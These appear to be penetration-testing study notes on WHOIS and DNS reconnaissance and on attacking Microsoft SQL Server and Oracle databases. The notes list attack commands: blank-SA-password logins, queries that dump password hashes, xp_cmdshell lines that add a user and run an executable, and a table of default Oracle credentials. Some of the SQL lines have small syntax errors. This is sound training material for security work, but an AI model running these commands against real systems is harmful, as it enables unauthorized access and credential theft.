Background Information Gathering & Open Source

(1) Registration records

Who is record will contain information such as the name and contact information of the Registrant (who owns the domain) the name and contact information of the registrar Registrar (the organisation or commercial entity that registered the domain name), the registration dates the name server, recent update and expiration date.

(2) Domain Name Server (DNS)

DNS Queries :-

* A DNS query (also known as a DNS Request) is a demand for information sent from a user's computer (DNS client) to a DNS server.

* In most cases a DNS request is sent to ask for the IP associated with a domain name

Databases

11) Microsoft SQL Server

Knowledge of common attack vector for microsoft SQL server. Understanding of privilege escalation and attack technique for a system compromised via database connections

Microsoft SQL Server

Port no : 1433

Hidden : 2433
(mode)

SQL Server Enumeration

* SQLPing
* Meta Cortex

SQL Server Brute Force

* Force SQL
* SQLbf
* SQLAT

SQL Server Process Manipulation Vulnerabilities

* SQL resolution service overflow (CVE-2002-0649) demonstration

Password Bruteforce :

* SQLDict.exe

Blank SA password:

* sqsh -S ipaddress -U sa
* osql.exe -S ipaddress -U sa -P ""

Getting Version :

```
select @@version;
```

Getting Hashes:

```
SELECT name, password FROM master..syslogin (2000)
SELECT name, password_hash FROM master.sys.sql_login (2005)
```

Command Execution:

```
EXEC 'xp_cmdshell 'net user test Password1 /add';
```

Re-Enabling cmdshell:

```
EXEC xp_cmdshell 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Getting a Shell :

```
EXEC 'xp_cmdshell '%TEMP%\mt.exe';
```

Slammer (MS02-039):

Buffer overflow bug in Microsoft SQL Server.

Oracle:

Protocol : Transparent Network Substrate

Port : 1521 (TCP)

TNS Listener Enumeration and Information Leak

* Pinging the TNS Listener
* Retrieving Oracle version and platform info

TNS Listener Commands

Command	Notes
Ping	Ping the listener
version	provides output of the listener version and platform information
status	Returns the current status and variable used by the listener
debug	Dumps debugging information to the listener log
reload	Reloads the listener config file
services	Dumps service data
save_config	writes the listener config file to a backup location
stop	shuts down the listener

Default Oracle database accounts

username	Password
ADAMS	WOOD
BLAKE	PAPER
CLARK	CLOTH
JONES	STEEL
SCOTT	TIGER
SYS	CHANGE_ON_INSTALL
SYSTEM	MANAGER

CTSYS	CTSYS
DBSNMP	DBSNMP
DEMO	DEMO
MDSYS	MDSYS
MTSYS	MTSYS
ORDPLUGINS	ORDPLUGINS
ORDSYS	ORDSYS
OUTLN	OUTLN

OAT - Oracle Auditing tools

Meta Coretex - pre and post Auth Scanner

Oracle XDB Services:-

Oracle XDB FTP and HTTP service are accessible on TCP port 2100 and 8080 respectively